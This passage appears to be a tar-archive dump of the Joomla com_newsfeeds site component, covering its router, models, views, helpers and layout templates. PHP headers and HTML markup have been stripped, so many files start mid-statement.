$input->get('limitstart', 0, 'uint')); $this->setState('list.limit', $input->get('limit', $app->getCfg('list_limit', 20), 'uint')); // Load the sort ordering. $order = $params->get('sort_order', 'relevance'); switch ($order) { case 'date': $this->setState('list.ordering', 'l.start_date'); break; case 'price': $this->setState('list.ordering', 'l.list_price'); break; case ($order == 'relevance' && !empty($this->includedTerms)): $this->setState('list.ordering', 'm.weight'); break; default: $this->setState('list.ordering', 'l.link_id'); break; } // Load the sort direction. $dirn = $params->get('sort_direction', 'desc'); switch ($dirn) { case 'asc': $this->setState('list.direction', 'ASC'); break; default: case 'desc': $this->setState('list.direction', 'DESC'); break; } // Set the match limit. $this->setState('match.limit', 1000); // Load the parameters. $this->setState('params', $params); // Load the user state. $this->setState('user.id', (int) $user->get('id')); $this->setState('user.groups', $user->getAuthorisedViewLevels()); } /** * Method to retrieve data from cache. * * @param string $id The cache store id. * @param boolean $persistent Flag to enable the use of external cache. [optional] * * @return mixed The cached data if found, null otherwise. * * @since 2.5 */ protected function retrieve($id, $persistent = true) { $data = null; // Use the internal cache if possible. if (isset($this->cache[$id])) { return $this->cache[$id]; } // Use the external cache if data is persistent. if ($persistent) { $data = JFactory::getCache($this->context, 'output')->get($id); $data = $data ? unserialize($data) : null; } // Store the data in internal cache. if ($data) { $this->cache[$id] = $data; } return $data; } /** * Method to store data in cache. * * @param string $id The cache store id. * @param mixed $data The data to cache. * @param boolean $persistent Flag to enable the use of external cache. [optional] * * @return boolean True on success, false on failure. * * @since 2.5 */ protected function store($id, $data, $persistent = true) { // Store the data in internal cache. $this->cache[$id] = $data; // Store the data in external cache if data is persistent. if ($persistent) { return JFactory::getCache($this->context, 'output')->store(serialize($data), $id); } return true; } } com_newsfeeds/metadata.xml000066600000000075150771500630011701 0ustar00 com_newsfeeds/router.php000066600000013371150771500630011433 0ustar00getMenu(); $params = JComponentHelper::getParams('com_newsfeeds'); $advanced = $params->get('sef_advanced_link', 0); if (empty($query['Itemid'])) { $menuItem = $menu->getActive(); } else { $menuItem = $menu->getItem($query['Itemid']); } $mView = (empty($menuItem->query['view'])) ? null : $menuItem->query['view']; $mId = (empty($menuItem->query['id'])) ? null : $menuItem->query['id']; if (isset($query['view'])) { $view = $query['view']; if (empty($query['Itemid']) || empty($menuItem) || $menuItem->component != 'com_newsfeeds') { $segments[] = $query['view']; } unset($query['view']); } // Are we dealing with an newsfeed that is attached to a menu item? if (isset($query['view']) && ($mView == $query['view']) and (isset($query['id'])) and ($mId == (int) $query['id'])) { unset($query['view']); unset($query['catid']); unset($query['id']); return $segments; } if (isset($view) and ($view == 'category' or $view == 'newsfeed')) { if ($mId != (int) $query['id'] || $mView != $view) { if ($view == 'newsfeed' && isset($query['catid'])) { $catid = $query['catid']; } elseif (isset($query['id'])) { $catid = $query['id']; } $menuCatid = $mId; $categories = JCategories::getInstance('Newsfeeds'); $category = $categories->get($catid); if ($category) { $path = $category->getPath(); $path = array_reverse($path); $array = array(); foreach ($path as $id) { if ((int) $id == (int) $menuCatid) { break; } if ($advanced) { list($tmp, $id) = explode(':', $id, 2); } $array[] = $id; } $segments = array_merge($segments, array_reverse($array)); } if ($view == 'newsfeed') { if ($advanced) { list($tmp, $id) = explode(':', $query['id'], 2); } else { $id = $query['id']; } $segments[] = $id; } } unset($query['id']); unset($query['catid']); } if (isset($query['layout'])) { if (!empty($query['Itemid']) && isset($menuItem->query['layout'])) { if ($query['layout'] == $menuItem->query['layout']) { unset($query['layout']); } } else { if ($query['layout'] == 'default') { unset($query['layout']); } } } $total = count($segments); for ($i = 0; $i < $total; $i++) { $segments[$i] = str_replace(':', '-', $segments[$i]); } return $segments; } /** * Parse the segments of a URL. * * @param array &$segments The segments of the URL to parse. * * @return array The URL attributes to be used by the application. * * @since 3.3 */ public function parse(&$segments) { $total = count($segments); $vars = array(); for ($i = 0; $i < $total; $i++) { $segments[$i] = preg_replace('/-/', ':', $segments[$i], 1); } // Get the active menu item. $app = JFactory::getApplication(); $menu = $app->getMenu(); $item = $menu->getActive(); $params = JComponentHelper::getParams('com_newsfeeds'); $advanced = $params->get('sef_advanced_link', 0); // Count route segments $count = count($segments); // Standard routing for newsfeeds. if (!isset($item)) { $vars['view'] = $segments[0]; $vars['id'] = $segments[$count - 1]; return $vars; } // From the categories view, we can only jump to a category. $id = (isset($item->query['id']) && $item->query['id'] > 1) ? $item->query['id'] : 'root'; $categories = JCategories::getInstance('Newsfeeds')->get($id)->getChildren(); $vars['catid'] = $id; $vars['id'] = $id; $found = 0; foreach ($segments as $segment) { $segment = $advanced ? str_replace(':', '-', $segment) : $segment; foreach ($categories as $category) { if ($category->slug == $segment || $category->alias == $segment) { $vars['id'] = $category->id; $vars['catid'] = $category->id; $vars['view'] = 'category'; $categories = $category->getChildren(); $found = 1; break; } } if ($found == 0) { if ($advanced) { $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select($db->quoteName('id')) ->from('#__newsfeeds') ->where($db->quoteName('catid') . ' = ' . (int) $vars['catid']) ->where($db->quoteName('alias') . ' = ' . $db->quote($db->quote($segment))); $db->setQuery($query); $nid = $db->loadResult(); } else { $nid = $segment; } $vars['id'] = $nid; $vars['view'] = 'newsfeed'; } $found = 0; } return $vars; } } /** * Newsfeeds router functions * * These functions are proxys for the new router interface * for old SEF extensions. * * @deprecated 4.0 Use Class based routers instead */ function NewsfeedsBuildRoute(&$query) { $router = new NewsfeedsRouter; return $router->build($query); } function NewsfeedsParseRoute($segments) { $router = new NewsfeedsRouter; return $router->parse($segments); } com_newsfeeds/views/index.html000066600000000037150771500630012527 0ustar00 com_newsfeeds/views/categories/view.html.php000066600000001332150771500630015304 0ustar00loadTemplate('items'); ?> com_newsfeeds/views/categories/tmpl/default.xml000066600000020767150771500630016015 0ustar00
    com_newsfeeds/views/categories/tmpl/index.html000066600000000037150771500630015630 0ustar00 com_newsfeeds/views/categories/tmpl/default_items.php000066600000004223150771500630017172 0ustar00items[$this->parent->id]) > 0 && $this->maxLevelcat != 0) : ?> items[$this->parent->id] as $id => $item) : ?> params->get('show_empty_categories_cat') || $item->numitems || count($item->getChildren())) : if (!isset($this->items[$this->parent->id][$id + 1])) { $class = ' class="last"'; } ?>
    > params->get('show_subcat_desc_cat') == 1) :?> description) : ?>
    description, '', 'com_newsfeeds.categories'); ?>
    getChildren()) > 0) :?>
    items[$item->id] = $item->getChildren(); $this->parent = $item; $this->maxLevelcat--; echo $this->loadTemplate('items'); $this->parent = $item->getParent(); $this->maxLevelcat++; ?>
    com_newsfeeds/views/categories/index.html000066600000000037150771500630014654 0ustar00 com_newsfeeds/views/newsfeed/view.html.php000066600000021413150771500630014761 0ustar00input->getBool('print'); // Get model data. $state = $this->get('State'); $item = $this->get('Item'); if ($item) { // Get Category Model data $categoryModel = JModelLegacy::getInstance('Category', 'NewsfeedsModel', array('ignore_request' => true)); $categoryModel->setState('category.id', $item->catid); $categoryModel->setState('list.ordering', 'a.name'); $categoryModel->setState('list.direction', 'asc'); // TODO: $items is not used. Remove this line? $items = $categoryModel->getItems(); } // Check for errors. // @TODO Maybe this could go into JComponentHelper::raiseErrors($this->get('Errors')) if (count($errors = $this->get('Errors'))) { JError::raiseWarning(500, implode("\n", $errors)); return false; } // Add router helpers. $item->slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id; $item->catslug = $item->category_alias ? ($item->catid . ':' . $item->category_alias) : $item->catid; $item->parent_slug = $item->category_alias ? ($item->parent_id . ':' . $item->parent_alias) : $item->parent_id; // check if cache directory is writeable $cacheDir = JPATH_CACHE . '/'; if (!is_writable($cacheDir)) { JError::raiseNotice('0', JText::_('COM_NEWSFEEDS_CACHE_DIRECTORY_UNWRITABLE')); return; } // Merge newsfeed params. If this is single-newsfeed view, menu params override newsfeed params // Otherwise, newsfeed params override menu item params $params = $state->get('params'); $newsfeed_params = clone $item->params; $active = $app->getMenu()->getActive(); $temp = clone ($params); // Check to see which parameters should take priority if ($active) { $currentLink = $active->link; // If the current view is the active item and an newsfeed view for this feed, then the menu item params take priority if (strpos($currentLink, 'view=newsfeed') && (strpos($currentLink, '&id='.(string) $item->id))) { // $item->params are the newsfeed params, $temp are the menu item params // Merge so that the menu item params take priority $newsfeed_params->merge($temp); $item->params = $newsfeed_params; // Load layout from active query (in case it is an alternative menu item) if (isset($active->query['layout'])) { $this->setLayout($active->query['layout']); } } else { // Current view is not a single newsfeed, so the newsfeed params take priority here // Merge the menu item params with the newsfeed params so that the newsfeed params take priority $temp->merge($newsfeed_params); $item->params = $temp; // Check for alternative layouts (since we are not in a single-newsfeed menu item) if ($layout = $item->params->get('newsfeed_layout')) { $this->setLayout($layout); } } } else { // Merge so that newsfeed params take priority $temp->merge($newsfeed_params); $item->params = $temp; // Check for alternative layouts (since we are not in a single-newsfeed menu item) if ($layout = $item->params->get('newsfeed_layout')) { $this->setLayout($layout); } } // Check the access to the newsfeed $levels = $user->getAuthorisedViewLevels(); if (!in_array($item->access, $levels) or ((in_array($item->access, $levels) and (!in_array($item->category_access, $levels))))) { JError::raiseWarning(403, JText::_('JERROR_ALERTNOAUTHOR')); return; } // Get the current menu item $params = $app->getParams(); // Get the newsfeed $newsfeed = $item; $temp = new JRegistry; $temp->loadString($item->params); $params->merge($temp); try { $feed = new JFeedFactory; $this->rssDoc = $feed->getFeed($newsfeed->link); } catch (InvalidArgumentException $e) { $msg = JText::_('COM_NEWSFEEDS_ERRORS_FEED_NOT_RETRIEVED'); } catch (RunTimeException $e) { $msg = JText::_('COM_NEWSFEEDS_ERRORS_FEED_NOT_RETRIEVED'); } if (empty($this->rssDoc)) { $msg = JText::_('COM_NEWSFEEDS_ERRORS_FEED_NOT_RETRIEVED'); } $feed_display_order = $params->get('feed_display_order', 'des'); if ($feed_display_order == 'asc') { $newsfeed->items = array_reverse($newsfeed->items); } //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx')); $this->assignRef('params', $params); $this->assignRef('newsfeed', $newsfeed); $this->assignRef('state', $state); $this->assignRef('item', $item); $this->assignRef('user', $user); if (!empty($msg)) { $this->assignRef('msg', $msg); } $this->print = $print; $item->tags = new JHelperTags; $item->tags->getItemTags('com_newsfeeds.newsfeed', $item->id); // Increment the hit counter of the newsfeed. $model = $this->getModel(); $model->hit(); $this->_prepareDocument(); return parent::display($tpl); } /** * Prepares the document * * @return void * @since 1.6 */ protected function _prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $pathway = $app->getPathway(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('COM_NEWSFEEDS_DEFAULT_PAGE_TITLE')); } $title = $this->params->get('page_title', ''); $id = (int) @$menu->query['id']; // if the menu item does not concern this newsfeed if ($menu && ($menu->query['option'] != 'com_newsfeeds' || $menu->query['view'] != 'newsfeed' || $id != $this->item->id)) { // If this is not a single newsfeed menu item, set the page title to the newsfeed title if ($this->item->name) { $title = $this->item->name; } $path = array(array('title' => $this->item->name, 'link' => '')); $category = JCategories::getInstance('Newsfeeds')->get($this->item->catid); while (($menu->query['option'] != 'com_newsfeeds' || $menu->query['view'] == 'newsfeed' || $id != $category->id) && $category->id > 1) { $path[] = array('title' => $category->title, 'link' => NewsfeedsHelperRoute::getCategoryRoute($category->id)); $category = $category->getParent(); } $path = array_reverse($path); foreach ($path as $item) { $pathway->addItem($item['title'], $item['link']); } } if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } if (empty($title)) { $title = $this->item->name; } $this->document->setTitle($title); if ($this->item->metadesc) { $this->document->setDescription($this->item->metadesc); } elseif (!$this->item->metadesc && $this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->item->metakey) { $this->document->setMetadata('keywords', $this->item->metakey); } elseif (!$this->item->metakey && $this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } if ($app->getCfg('MetaTitle') == '1') { $this->document->setMetaData('title', $this->item->name); } if ($app->getCfg('MetaAuthor') == '1') { $this->document->setMetaData('author', $this->item->author); } $mdata = $this->item->metadata->toArray(); foreach ($mdata as $k => $v) { if ($v) { $this->document->setMetadata($k, $v); } } } } com_newsfeeds/views/newsfeed/tmpl/default.php000066600000011305150771500630015443 0ustar00 msg)) { echo $this->msg; } else { $lang = JFactory::getLanguage(); $myrtl = $this->newsfeed->rtl; $direction = " "; if ($lang->isRTL() && $myrtl == 0) { $direction = " redirect-rtl"; } elseif ($lang->isRTL() && $myrtl == 1) { $direction = " redirect-ltr"; } elseif ($lang->isRTL() && $myrtl == 2) { $direction = " redirect-rtl"; } elseif ($myrtl == 0) { $direction = " redirect-ltr"; } elseif ($myrtl == 1) { $direction = " redirect-ltr"; } elseif ($myrtl == 2) { $direction = " redirect-rtl"; } $images = json_decode($this->item->images); ?>
    params->get('display_num')) : ?>

    escape($this->params->get('page_heading')); ?>

    item->published == 0) : ?> item->name); ?>

    params->get('show_tags', 1)) : ?> item->tagLayout = new JLayoutFile('joomla.content.tags'); ?> item->tagLayout->render($this->item->tags->itemTags); ?> image_first) and !empty($images->image_first)) : ?> float_first)) ? $this->params->get('float_first') : $images->float_first; ?>
    image_first_caption): echo 'class="caption"'.' title="' .htmlspecialchars($images->image_first_caption) .'"'; endif; ?> src="image_first); ?>" alt="image_first_alt); ?>"/>
    image_second) and !empty($images->image_second)) : ?> float_second)) ? $this->params->get('float_second') : $images->float_second; ?>
    image_second_caption): echo 'class="caption"'.' title="' .htmlspecialchars($images->image_second_caption) .'"'; endif; ?> src="image_second); ?>" alt="image_second_alt); ?>"/>
    item->description; ?> params->get('show_feed_description')) : ?>
    rssDoc->description); ?>
    rssDoc->image) && isset($this->rssDoc->imagetitle) && $this->params->get('show_feed_image')) : ?>
    <?php echo $this->rssDoc->image->decription; ?>
    rssDoc[0])) { ?>
      item->numarticles; $i++) { ?> rssDoc[$i]->guid) || !is_null($this->rssDoc[$i]->guid) ? $this->rssDoc[$i]->guid : $this->rssDoc[$i]->uri; $uri = substr($uri, 0, 4) != 'http' ? $this->item->link : $uri; $text = !empty($this->rssDoc[$i]->content) || !is_null($this->rssDoc[$i]->content) ? $this->rssDoc[$i]->content : $this->rssDoc[$i]->description; ?>
    1. rssDoc[$i]->uri)) : ?> rssDoc[$i]->title; ?>

      rssDoc[$i]->uri . '">' .$this->rssDoc[$i]->title. ''; ?>

      params->get('show_item_description') && !empty($text)) : ?>
      params->get('show_feed_image', 0) == 0) { $text = JFilterOutput::stripImages($text); } $text = JHtml::_('string.truncate', $text, $this->params->get('feed_character_count')); echo str_replace(''', "'", $text); ?>
    com_newsfeeds/views/newsfeed/tmpl/default.xml000066600000005262150771500630015461 0ustar00
    com_newsfeeds/views/newsfeed/tmpl/index.html000066600000000037150771500630015303 0ustar00 com_newsfeeds/views/newsfeed/metadata.xml000066600000000317150771500630014635 0ustar00 com_newsfeeds/views/newsfeed/index.html000066600000000037150771500630014327 0ustar00 com_newsfeeds/views/category/view.html.php000066600000004621150771500630015000 0ustar00items as $item) { $item->slug = $item->alias ? ($item->id.':'.$item->alias) : $item->id; $temp = new JRegistry; $temp->loadString($item->params); $item->params = clone($this->params); $item->params->merge($temp); } return parent::display($tpl); } /** * Prepares the document * * @return void */ protected function prepareDocument() { parent::prepareDocument(); $id = (int) @$menu->query['id']; $menu = $this->menu; if ($menu && ($menu->query['option'] != 'com_newsfeeds' || $menu->query['view'] == 'newsfeed' || $id != $this->category->id)) { $path = array(array('title' => $this->category->title, 'link' => '')); $category = $this->category->getParent(); while (($menu->query['option'] != 'com_newsfeeds' || $menu->query['view'] == 'newsfeed' || $id != $category->id) && $category->id > 1) { $path[] = array('title' => $category->title, 'link' => NewsfeedsHelperRoute::getCategoryRoute($category->id)); $category = $category->getParent(); } $path = array_reverse($path); foreach ($path as $item) { $this->pathway->addItem($item['title'], $item['link']); } } parent::addFeed(); } } com_newsfeeds/views/category/tmpl/default.php000066600000004031150771500630015456 0ustar00params->get('pageclass_sfx'); ?>
    params->get('show_page_heading')) : ?>

    escape($this->params->get('page_heading')); ?>

    params->get('show_category_title', 1)) : ?>

    category->title, '', 'com_newsfeeds.category.title'); ?>

    params->get('show_tags', 1) && !empty($this->category->tags->itemTags)) : ?> category->tagLayout = new JLayoutFile('joomla.content.tags'); ?> category->tagLayout->render($this->category->tags->itemTags); ?> params->get('show_description', 1) || $this->params->def('show_description_image', 1)) : ?>
    params->get('show_description_image') && $this->category->getParams()->get('image')) : ?> params->get('show_description') && $this->category->description) : ?> category->description, '', 'com_newsfeeds.category'); ?>
    loadTemplate('items'); ?> children[$this->category->id]) && $this->maxLevel != 0) : ?>

    loadTemplate('children'); ?>
    com_newsfeeds/views/category/tmpl/default.xml000066600000015752150771500630015503 0ustar00
    com_newsfeeds/views/category/tmpl/index.html000066600000000037150771500630015320 0ustar00 com_newsfeeds/views/category/tmpl/default_children.php000066600000003354150771500630017335 0ustar00children[$this->category->id]) > 0 && $this->maxLevel != 0) : ?>
      children[$this->category->id] as $id => $child) : ?> params->get('show_empty_categories') || $child->numitems || count($child->getChildren())) : if (!isset($this->children[$this->category->id][$id + 1])) { $class = ' class="last"'; } ?> > escape($child->title); ?> params->get('show_subcat_desc') == 1) :?> description) : ?>
      description, '', 'com_newsfeeds.category'); ?>
      params->get('show_cat_items') == 1) :?>
      numitems; ?>
      getChildren()) > 0) : $this->children[$child->id] = $child->getChildren(); $this->category = $child; $this->maxLevel--; echo $this->loadTemplate('children'); $this->category = $child->getParent(); $this->maxLevel++; endif; ?>
    items); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?> items)) : ?>

    params->get('filter_field') != 'hide' || $this->params->get('show_pagination_limit')) :?>
    params->get('filter_field') != 'hide') :?>
    params->get('show_pagination_limit')) : ?>
    pagination->getLimitBox(); ?>
      items as $i => $item) : ?> items[$i]->published == 0) : ?>
    • params->get('show_articles')) : ?> numarticles); ?> items[$i]->published == 0) : ?>
      params->get('show_link')) : ?> link); ?>
    items)) : ?> params->def('show_pagination', 2) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->pagesTotal > 1)) : ?>
    com_newsfeeds/views/category/metadata.xml000066600000000303150771500630014645 0ustar00 com_newsfeeds/views/category/index.html000066600000000037150771500630014344 0ustar00 com_newsfeeds/index.html000066600000000037150771500630011372 0ustar00 com_newsfeeds/newsfeeds.php000066600000001042150771500630012066 0ustar00execute(JFactory::getApplication()->input->get('task')); $controller->redirect(); com_newsfeeds/controller.php000066600000002530150771500630012271 0ustar00input->get('view', 'categories'); $this->input->set('view', $vName); $user = JFactory::getUser(); if ($user->get('id') || ($this->input->getMethod() == 'POST' && $vName = 'category' )) { $cachable = false; } $safeurlparams = array('id' => 'INT', 'limit' => 'UINT', 'limitstart' => 'UINT', 'filter_order' => 'CMD', 'filter_order_Dir' => 'CMD', 'lang' => 'CMD'); parent::display($cachable, $safeurlparams); } } com_newsfeeds/helpers/association.php000066600000003351150771500630014066 0ustar00input; $view = is_null($view) ? $jinput->get('view') : $view; $id = empty($id) ? $jinput->getInt('id') : $id; if ($view == 'newsfeed') { if ($id) { $associations = JLanguageAssociations::getAssociations('com_newsfeeds', '#__newsfeeds', 'com_newsfeeds.item', $id); $return = array(); foreach ($associations as $tag => $item) { $return[$tag] = NewsfeedsHelperRoute::getNewsfeedRoute($item->id, $item->catid, $item->language); } return $return; } } if ($view == 'category' || $view == 'categories') { return self::getCategoryAssociations($id, 'com_newsfeeds'); } return array(); } } com_newsfeeds/helpers/index.html000066600000000037150771500630013034 0ustar00 com_newsfeeds/helpers/category.php000066600000001216150771500630013365 0ustar00 array((int) $id) ); //Create the link $link = 'index.php?option=com_newsfeeds&view=newsfeed&id='. $id; if ((int) $catid > 1) { $categories = JCategories::getInstance('Newsfeeds'); $category = $categories->get((int) $catid); if ($category) { //TODO Throw error that the category either not exists or is unpublished $needles['category'] = array_reverse($category->getPath()); $needles['categories'] = $needles['category']; $link .= '&catid='.$catid; } } if ($language && $language != "*" && JLanguageMultilang::isEnabled()) { self::buildLanguageLookup(); if (isset(self::$lang_lookup[$language])) { $link .= '&lang=' . self::$lang_lookup[$language]; $needles['language'] = $language; } } if ($item = self::_findItem($needles)) { $link .= '&Itemid='.$item; } return $link; } public static function getCategoryRoute($catid, $language = 0) { if ($catid instanceof JCategoryNode) { $id = $catid->id; $category = $catid; } else { $id = (int) $catid; $category = JCategories::getInstance('Newsfeeds')->get($id); } if ($id < 1 || !($category instanceof JCategoryNode)) { $link = ''; } else { $needles = array(); // Create the link $link = 'index.php?option=com_newsfeeds&view=category&id='.$id; $catids = array_reverse($category->getPath()); $needles['category'] = $catids; $needles['categories'] = $catids; if ($language && $language != "*" && JLanguageMultilang::isEnabled()) { self::buildLanguageLookup(); if (isset(self::$lang_lookup[$language])) { $link .= '&lang=' . self::$lang_lookup[$language]; $needles['language'] = $language; } } if ($item = self::_findItem($needles)) { $link .= '&Itemid='.$item; } } return $link; } protected static function buildLanguageLookup() { if (count(self::$lang_lookup) == 0) { $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select('a.sef AS sef') ->select('a.lang_code AS lang_code') ->from('#__languages AS a'); $db->setQuery($query); $langs = $db->loadObjectList(); foreach ($langs as $lang) { self::$lang_lookup[$lang->lang_code] = $lang->sef; } } } protected static function _findItem($needles = null) { $app = JFactory::getApplication(); $menus = $app->getMenu('site'); $language = isset($needles['language']) ? $needles['language'] : '*'; // Prepare the reverse lookup array. if (!isset(self::$lookup[$language])) { self::$lookup[$language] = array(); $component = JComponentHelper::getComponent('com_newsfeeds'); $attributes = array('component_id'); $values = array($component->id); if ($language != '*') { $attributes[] = 'language'; $values[] = array($needles['language'], '*'); } $items = $menus->getItems($attributes, $values); foreach ($items as $item) { if (isset($item->query) && isset($item->query['view'])) { $view = $item->query['view']; if (!isset(self::$lookup[$language][$view])) { self::$lookup[$language][$view] = array(); } if (isset($item->query['id'])) { // here it will become a bit tricky // language != * can override existing entries // language == * cannot override existing entries if (!isset(self::$lookup[$language][$view][$item->query['id']]) || $item->language != '*') { self::$lookup[$language][$view][$item->query['id']] = $item->id; } } } } } if ($needles) { foreach ($needles as $view => $ids) { if (isset(self::$lookup[$language][$view])) { foreach ($ids as $id) { if (isset(self::$lookup[$language][$view][(int) $id])) { return self::$lookup[$language][$view][(int) $id]; } } } } } // Check if the active menuitem matches the requested language $active = $menus->getActive(); if ($active && ($language == '*' || in_array($active->language, array('*', $language)) || !JLanguageMultilang::isEnabled())) { return $active->id; } // If not found, return language specific home link $default = $menus->getDefault($language); return !empty($default->id) ? $default->id : null; } } com_newsfeeds/models/index.html000066600000000037150771500630012655 0ustar00 com_newsfeeds/models/categories.php000066600000005742150771500630013526 0ustar00setState('filter.extension', $this->_extension); // Get the parent id if defined. $parentId = $app->input->getInt('id'); $this->setState('filter.parentId', $parentId); $params = $app->getParams(); $this->setState('params', $params); $this->setState('filter.published', 1); $this->setState('filter.access', true); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.extension'); $id .= ':'.$this->getState('filter.published'); $id .= ':'.$this->getState('filter.access'); $id .= ':'.$this->getState('filter.parentId'); return parent::getStoreId($id); } /** * redefine the function an add some properties to make the styling more easy * * @return mixed An array of data items on success, false on failure. */ public function getItems() { if (!count($this->_items)) { $app = JFactory::getApplication(); $menu = $app->getMenu(); $active = $menu->getActive(); $params = new JRegistry; if ($active) { $params->loadString($active->params); } $options = array(); $options['countItems'] = $params->get('show_cat_items_cat', 1) || !$params->get('show_empty_categories_cat', 0); $categories = JCategories::getInstance('Newsfeeds', $options); $this->_parent = $categories->get($this->getState('filter.parentId', 'root')); if (is_object($this->_parent)) { $this->_items = $this->_parent->getChildren(); } else { $this->_items = false; } } return $this->_items; } public function getParent() { if (!is_object($this->_parent)) { $this->getItems(); } return $this->_parent; } } com_newsfeeds/models/category.php000066600000020353150771500630013211 0ustar00_params)) { $params = new JRegistry; $item->params = $params; $params->loadString($item->params); } // Get the tags $item->tags = new JHelperTags; $item->tags->getItemTags('com_newsfeeds.newsfeed', $item->id); } return $items; } /** * Method to build an SQL query to load the list data. * * @return string An SQL query * @since 1.6 */ protected function getListQuery() { $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select required fields from the categories. $query->select($this->getState('list.select', 'a.*')) ->from($db->quoteName('#__newsfeeds') . ' AS a') ->where('a.access IN (' . $groups . ')'); // Filter by category. if ($categoryId = $this->getState('category.id')) { $query->where('a.catid = ' . (int) $categoryId) ->join('LEFT', '#__categories AS c ON c.id = a.catid') ->where('c.access IN (' . $groups . ')'); } // Filter by state $state = $this->getState('filter.published'); if (is_numeric($state)) { $query->where('a.published = ' . (int) $state); } // Filter by start and end dates. $nullDate = $db->quote($db->getNullDate()); $date = JFactory::getDate(); $nowDate = $db->quote($date->format($db->getDateFormat())); if ($this->getState('filter.publish_date')) { $query->where('(a.publish_up = ' . $nullDate . ' OR a.publish_up <= ' . $nowDate . ')') ->where('(a.publish_down = ' . $nullDate . ' OR a.publish_down >= ' . $nowDate . ')'); } // Filter by search in title $search = $this->getState('list.filter'); if (!empty($search)) { $search = $db->quote('%' . $db->escape($search, true) . '%'); $query->where('(a.name LIKE ' . $search . ')'); } // Filter by language if ($this->getState('filter.language')) { $query->where('a.language in (' . $db->quote(JFactory::getLanguage()->getTag()) . ',' . $db->quote('*') . ')'); } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.ordering')) . ' ' . $db->escape($this->getState('list.direction', 'ASC'))); return $query; } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @since 1.6 */ protected function populateState($ordering = null, $direction = null) { $app = JFactory::getApplication(); $params = JComponentHelper::getParams('com_newsfeeds'); // List state information $limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->getCfg('list_limit'), 'uint'); $this->setState('list.limit', $limit); $limitstart = $app->input->get('limitstart', 0, 'uint'); $this->setState('list.start', $limitstart); // Optional filter text $this->setState('list.filter', $app->input->getString('filter-search')); $orderCol = $app->input->get('filter_order', 'ordering'); if (!in_array($orderCol, $this->filter_fields)) { $orderCol = 'ordering'; } $this->setState('list.ordering', $orderCol); $listOrder = $app->input->get('filter_order_Dir', 'ASC'); if (!in_array(strtoupper($listOrder), array('ASC', 'DESC', ''))) { $listOrder = 'ASC'; } $this->setState('list.direction', $listOrder); $id = $app->input->get('id', 0, 'int'); $this->setState('category.id', $id); $user = JFactory::getUser(); if ((!$user->authorise('core.edit.state', 'com_newsfeeds')) && (!$user->authorise('core.edit', 'com_newsfeeds'))) { // limit to published for people who can't edit or edit.state. $this->setState('filter.published', 1); // Filter by start and end dates. $this->setState('filter.publish_date', true); } $this->setState('filter.language', JLanguageMultilang::isEnabled()); // Load the parameters. $this->setState('params', $params); } /** * Method to get category data for the current category * * @param integer An optional ID * * @return object * @since 1.5 */ public function getCategory() { if (!is_object($this->_item)) { $app = JFactory::getApplication(); $menu = $app->getMenu(); $active = $menu->getActive(); $params = new JRegistry; if ($active) { $params->loadString($active->params); } $options = array(); $options['countItems'] = $params->get('show_cat_items', 1) || $params->get('show_empty_categories', 0); $categories = JCategories::getInstance('Newsfeeds', $options); $this->_item = $categories->get($this->getState('category.id', 'root')); if (is_object($this->_item)) { $this->_children = $this->_item->getChildren(); $this->_parent = false; if ($this->_item->getParent()) { $this->_parent = $this->_item->getParent(); } $this->_rightsibling = $this->_item->getSibling(); $this->_leftsibling = $this->_item->getSibling(false); } else { $this->_children = false; $this->_parent = false; } } return $this->_item; } /** * Get the parent category. * * @param integer An optional category id. If not supplied, the model state 'category.id' will be used. * * @return mixed An array of categories or false if an error occurs. */ public function getParent() { if (!is_object($this->_item)) { $this->getCategory(); } return $this->_parent; } /** * Get the sibling (adjacent) categories. * * @return mixed An array of categories or false if an error occurs. */ function &getLeftSibling() { if (!is_object($this->_item)) { $this->getCategory(); } return $this->_leftsibling; } function &getRightSibling() { if (!is_object($this->_item)) { $this->getCategory(); } return $this->_rightsibling; } /** * Get the child categories. * * @param integer An optional category id. If not supplied, the model state 'category.id' will be used. * * @return mixed An array of categories or false if an error occurs. */ function &getChildren() { if (!is_object($this->_item)) { $this->getCategory(); } return $this->_children; } /** * Increment the hit counter for the category. * * @param int $pk Optional primary key of the category to increment. * * @return boolean True if successful; false otherwise and internal error set. */ public function hit($pk = 0) { $input = JFactory::getApplication()->input; $hitcount = $input->getInt('hitcount', 1); if ($hitcount) { $pk = (!empty($pk)) ? $pk : (int) $this->getState('category.id'); $table = JTable::getInstance('Category', 'JTable'); $table->load($pk); $table->hit($pk); } return true; } } com_newsfeeds/models/newsfeed.php000066600000012330150771500630013170 0ustar00input->getInt('id'); $this->setState('newsfeed.id', $pk); $offset = $app->input->get('limitstart', 0, 'uint'); $this->setState('list.offset', $offset); // Load the parameters. $params = $app->getParams(); $this->setState('params', $params); $user = JFactory::getUser(); if ((!$user->authorise('core.edit.state', 'com_newsfeeds')) && (!$user->authorise('core.edit', 'com_newsfeeds'))){ 